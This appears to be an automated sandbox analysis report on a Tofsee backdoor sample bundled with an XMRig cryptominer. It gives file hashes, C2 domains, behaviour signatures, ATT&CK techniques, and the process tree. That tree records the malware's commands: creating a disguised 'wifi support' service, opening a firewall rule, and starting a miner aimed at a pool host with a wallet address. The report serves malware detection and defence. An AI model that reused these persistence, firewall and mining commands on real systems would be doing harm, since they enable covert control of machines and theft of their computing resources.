Overview

overview

10

Static

static

0e066c7bfe...ca.exe

windows7_x64

10

0e066c7bfe...ca.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    16-10-2021 11:43

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General

  • Target

    0e066c7bfe338610bb051f13a37e14baaf9899122146931afc461ba805a4baca.exe

  • Size

    11.2MB

  • MD5

    4fcda8982434609b50e5a0b00dddba82

  • SHA1

    94aabe47b885ff7dc496feae55fe7627d29c6eea

  • SHA256

    0e066c7bfe338610bb051f13a37e14baaf9899122146931afc461ba805a4baca

  • SHA512

    c092e293e24f74041d9a280457737895601f049360dc25d1bdd804032fc96f7acf036f4152436433c6253b534eee3c75f4519470c2ba070f8536bc9592d392c8

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

defeatwax.ru

refabyd.info

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner Payload 3 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0e066c7bfe338610bb051f13a37e14baaf9899122146931afc461ba805a4baca.exe
    "C:\Users\Admin\AppData\Local\Temp\0e066c7bfe338610bb051f13a37e14baaf9899122146931afc461ba805a4baca.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2324
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\cjvntsjp\
      2⤵
        PID:4360
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jqozeznb.exe" C:\Windows\SysWOW64\cjvntsjp\
        2⤵
          PID:3504
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create cjvntsjp binPath= "C:\Windows\SysWOW64\cjvntsjp\jqozeznb.exe /d\"C:\Users\Admin\AppData\Local\Temp\0e066c7bfe338610bb051f13a37e14baaf9899122146931afc461ba805a4baca.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:3468
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description cjvntsjp "wifi internet conection"
            2⤵
              PID:2124
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start cjvntsjp
              2⤵
                PID:4456
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:4644
              • C:\Windows\SysWOW64\cjvntsjp\jqozeznb.exe
                C:\Windows\SysWOW64\cjvntsjp\jqozeznb.exe /d"C:\Users\Admin\AppData\Local\Temp\0e066c7bfe338610bb051f13a37e14baaf9899122146931afc461ba805a4baca.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:872
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:588
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2528

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Initial Access

              Execution

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              1
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              2
              T1112

              Credential Access

              Discovery

              System Information Discovery

              1
              T1082

              Lateral Movement

              Collection

              Exfiltration

              Command and Control

              Impact

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\jqozeznb.exe
                MD5

                7a09467c0563af44e8479940c2ec5a6a

                SHA1

                99dfc53dbcac40c881bbef4e0198866c5b79ac40

                SHA256

                0cfa793c66e7ef36b4aba63c6191f532ff930c21a9ce027ef56ced0e8befefd6

                SHA512

                65b34acdcd9c74f1276e64fb010816ccd71dcefbc53796ebcc7ca6c22c8837e2133d2e8b321856eb9239f7f117962426eaf5809b043506e706beb63eca66ccb7

                Download Submit
              • C:\Windows\SysWOW64\cjvntsjp\jqozeznb.exe
                MD5

                7a09467c0563af44e8479940c2ec5a6a

                SHA1

                99dfc53dbcac40c881bbef4e0198866c5b79ac40

                SHA256

                0cfa793c66e7ef36b4aba63c6191f532ff930c21a9ce027ef56ced0e8befefd6

                SHA512

                65b34acdcd9c74f1276e64fb010816ccd71dcefbc53796ebcc7ca6c22c8837e2133d2e8b321856eb9239f7f117962426eaf5809b043506e706beb63eca66ccb7

                Download Submit
              • memory/588-129-0x0000000002E80000-0x0000000002E81000-memory.dmp
                Filesize

                4KB

                Download
              • memory/588-127-0x0000000002F70000-0x0000000002F85000-memory.dmp
                Filesize

                84KB

                Download
              • memory/588-130-0x0000000002E80000-0x0000000002E81000-memory.dmp
                Filesize

                4KB

                Download
              • memory/588-128-0x0000000002F79A6B-mapping.dmp
                Download
              • memory/872-131-0x00000000001E0000-0x00000000001F3000-memory.dmp
                Filesize

                76KB

                Download
              • memory/872-132-0x0000000000400000-0x0000000002149000-memory.dmp
                Filesize

                29.3MB

                Download
              • memory/2124-122-0x0000000000000000-mapping.dmp
                Download
              • memory/2324-117-0x0000000000400000-0x0000000002149000-memory.dmp
                Filesize

                29.3MB

                Download
              • memory/2324-116-0x0000000002150000-0x00000000021FE000-memory.dmp
                Filesize

                696KB

                Download
              • memory/2528-133-0x0000000000400000-0x00000000004F1000-memory.dmp
                Filesize

                964KB

                Download
              • memory/2528-137-0x000000000049259C-mapping.dmp
                Download
              • memory/2528-138-0x0000000000400000-0x00000000004F1000-memory.dmp
                Filesize

                964KB

                Download
              • memory/3468-121-0x0000000000000000-mapping.dmp
                Download
              • memory/3504-119-0x0000000000000000-mapping.dmp
                Download
              • memory/4360-118-0x0000000000000000-mapping.dmp
                Download
              • memory/4456-123-0x0000000000000000-mapping.dmp
                Download
              • memory/4644-124-0x0000000000000000-mapping.dmp
                Download